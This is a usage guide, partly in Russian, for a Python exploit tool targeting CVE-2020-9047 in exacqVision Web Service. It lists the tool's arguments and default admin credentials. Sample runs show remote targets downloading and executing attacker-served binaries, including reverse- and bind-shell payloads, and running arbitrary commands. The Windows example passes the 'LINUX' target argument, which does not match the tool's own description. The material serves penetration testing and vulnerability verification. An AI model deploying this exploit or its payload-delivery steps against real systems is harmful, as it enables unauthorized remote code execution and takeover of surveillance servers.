
Python эксплойт для CVE-2020-9047, нацеленный на веб-сервис exacqVision. Поддерживает доставку полезной нагрузки для Windows/Linux, удаленное выполнение команд и идентификацию уязвимости через режим CHECK.
usage: CVE-2020-9047.py [-h] [-p RPORT] [-s LPORT] [--command] [-d WEBDIR]
[-U USERNAME] [-P PASSWORD]
{WINDOWS,LINUX,CHECK} RHOST LHOST PAYLOAD
Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program
targets Windows and Linux x86 installations of exacqVision Web Service
versions 3.8.2.67295 - 20.06.3.0. Written by Michael W. Norris.
positional arguments:
{WINDOWS,LINUX,CHECK}
Целевая операционная система. Укажите "WINDOWS" для
Windows, "LINUX" для Linux или "CHECK", чтобы
программа выполнила проверку. При использовании
"CHECK" можно указать '' для аргументов LHOST и
PAYLOAD.
RHOST IP-адрес удаленного хоста; IP-адрес цели.
LHOST Локальный IP-адрес, который будет обслуживать полезную
нагрузку для удаленного хоста. Не должен быть
"localhost" или "127.0.0.1". Удаленный хост должен
иметь возможность подключиться к указанному IP-адресу.
Данную программу следует запускать на системе с
указанным IP-адресом.
PAYLOAD Абсолютный путь к существующему исполняемому файлу
Windows (.exe) или Linux (двоичный файл) на локальной
системе. Двоичный файл будет выполнен на удаленном
хосте. Если установлен флаг --command и в качестве
аргумента TARGET указан "LINUX", введите команду,
которая будет выполнена на удаленном хосте.
optional arguments:
-h, --help показать это справочное сообщение и выйти
-p RPORT Порт на удаленном хосте, на котором работает
exacqVision Web Service. По умолчанию: 80
-s LPORT Локальный порт, который будет использоваться для
обслуживания файла полезной нагрузки для удаленного
хоста. По умолчанию: 8000
--command Устанавливает флаг команды. Флаг позволяет указать
команду в качестве аргумента PAYLOAD вместо пути к
двоичному файлу. Указанная команда будет выполнена на
удаленном хосте. Флаг следует устанавливать только
если в качестве аргумента TARGET указан "LINUX".
-d WEBDIR Локальная существующая директория, в которой будет
создана временная директория со случайным именем.
По умолчанию: /tmp
-U USERNAME Имя пользователя для аутентификации в удаленном
приложении exacqVision Web Service. По умолчанию:
admin
-P PASSWORD Пароль для аутентификации в удаленном приложении
exacqVision Web Service. По умолчанию: admin256
Чтобы проверить, уязвима ли система к CVE-2020-9047, а также восприимчива ли она к данной эксплуатации и/или определить операционную систему/архитектуру удаленного хоста, используйте следующий синтаксис команды. В этом примере удаленный хост — 10.0.0.22 (RHOST).
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py CHECK 10.0.0.22 '' ''
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
Чтобы дать указание удаленной системе Linux 10.0.0.22 (RHOST), на которой exacqVision Web Service работает на TCP-порту 8080, установить/выполнить полезную нагрузку в виде ELF-двоичного файла, который находится на локальной системе 10.0.0.11 (LHOST) на TCP-порту 80 по абсолютному пути /root/demo/shell_reverse_tcp (PAYLOAD), используйте следующий синтаксис команды.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 -p 8080 10.0.0.11 -s 80 '/root/demo/ping_me'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:80
Serving payload from /tmp/tmpo7516343 directory
192.168.57.161 - - [03/Jun/2020 23:11:09] "GET /op0tv6l4 HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:11:13] "GET /aax35u41.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpo7516343
Stopping HTTP server on 0.0.0.0:80
Чтобы указать команду (--command), которая будет выполнена на удаленной системе Linux в качестве аргумента PAYLOAD (вместо полезной нагрузки в виде ELF-двоичного файла), используйте следующий синтаксис команды.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 10.0.0.11 --command 'ping -c 5 10.0.0.11'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
The provided command will be executed on the remote system
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpp2wmx5x3 directory
192.168.57.161 - - [03/Jun/2020 23:22:04] "GET /no_n0zgk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:22:08] "GET /1vlkyw3.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpp2wmx5x3
Stopping HTTP server on 0.0.0.0:8000
Примечание: Указание команды в качестве аргумента PAYLOAD поддерживается только для удаленных хостов Linux.
Чтобы дать указание удаленной системе Windows 10.0.0.33 (RHOST) с паролем exacqVision Web Service asdf1234!@#$ установить/выполнить полезную нагрузку в виде исполняемого файла Windows, который находится на локальной системе 10.0.0.11 (LHOST) по абсолютному пути /root/demo/shell_bind_tcp.exe (PAYLOAD), используйте следующий синтаксис команды.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.33 -P 'asdf1234!@#$' 10.0.0.11 '/root/demo/shell_bind_tcp.exe'
Target OS: windows Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz
EVWS Version: 9.8.4.149166
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpgizzpfa4 directory
192.168.57.161 - - [03/Jun/2020 23:25:09] "GET /4kdjekqk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:25:13] "GET /fp92ecyj.exe HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpgizzpfa4
Stopping HTTP server on 0.0.0.0:8000